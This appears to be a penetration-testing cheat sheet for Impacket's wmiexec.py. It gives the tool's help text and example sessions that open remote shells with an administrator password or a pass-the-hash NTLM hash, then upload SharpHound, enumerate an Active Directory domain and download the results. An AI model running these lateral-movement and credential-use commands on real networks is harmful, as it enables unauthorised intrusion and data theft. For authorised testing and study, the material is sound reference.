Executes a semi-interactive shell using Windows Management Instrumentation.


Install Impacket.


wmiexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-silentcommand] [-debug] [-codec CODEC] [-shell-type {cmd,powershell}] [-com-version MAJOR_VERSION:MINOR_VERSION] [-hashes LMHASH:NTHASH] [-no-pass] [-k]
                  [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB]
                  target [command ...]


Impacket v0.12.0.dev1+20230803.144057.e2092339 - Copyright 2023 Fortra

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  command               command to execute at the target. If empty it will launch a semi-interactive shell

  -h, --help            show this help message and exit
  -share SHARE          share where the output will be grabbed from (default ADMIN$)
  -nooutput             whether or not to print the output (no SMB connection created)
  -ts                   Adds timestamp to every logging output
  -silentcommand        does not execute cmd.exe to run given command (no output)
  -debug                Turn DEBUG output ON
  -codec CODEC          Sets encoding used (codec) from the target's output (default "utf-8"). If errors are detected, run chcp.com at the target, map the result with
                        https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py again with -codec and the corresponding codec
  -shell-type {cmd,powershell}
                        choose a command processor for the semi-interactive shell
                        DCOM version, format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7

                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -dc-ip ip address     IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
  -A authfile           smbclient/mount.cifs-style authentication file. See smbclient man page's -A option.
  -keytab KEYTAB        Read keys for SPN from keytab file


Enter as the user, not SYSTEM

$ wmiexec.py offsec.nl/administrator:[email protected]

Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands


Enter with hash instead of password

wmiexec.py [email protected] -hashes :0e0363213e37b94221497260b0bcb4fc Impacket v0.9.24.dev1+20210726.180101.1636eaab - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

Use SharpHound in wmiexec.py

$ wmiexec.py admin:[email protected]
Impacket v0.9.22.dev1+20200924.183326.65cf657f - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
put[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:\>put SharpHound.exe
[*] Uploading SharpHound.exe to C:\SharpHound.exe

C:\>SharpHound.exe --CollectionMethod All -d offsec.local --ldapusername johndo --ldappassword Welkom1234 --domaincontroller
Initializing SharpHound at 10:59 AM on 11/5/2020

Resolved Collection Methods: Group, Sessions, LoggedOn, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container

[+] Creating Schema map for domain offsec.LOCAL using path CN=Schema,CN=Configuration,DC=offsec,DC=LOCAL
[+] Cache File not Found: 0 Objects in cache

[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 18 MB RAM
Status: 74 objects finished (+74 74)/s -- Using 26 MB RAM
Enumeration finished in 00:00:01.6392385
Compressing data to .\20201105105903_BloodHound.zip
You can upload this file directly to the UI

SharpHound Enumeration Completed at 10:59 AM on 11/5/2020! Happy Graphing!

C:\>get 20201105105903_BloodHound.zip
[*] Downloading C:\\20201105105903_BloodHound.zip

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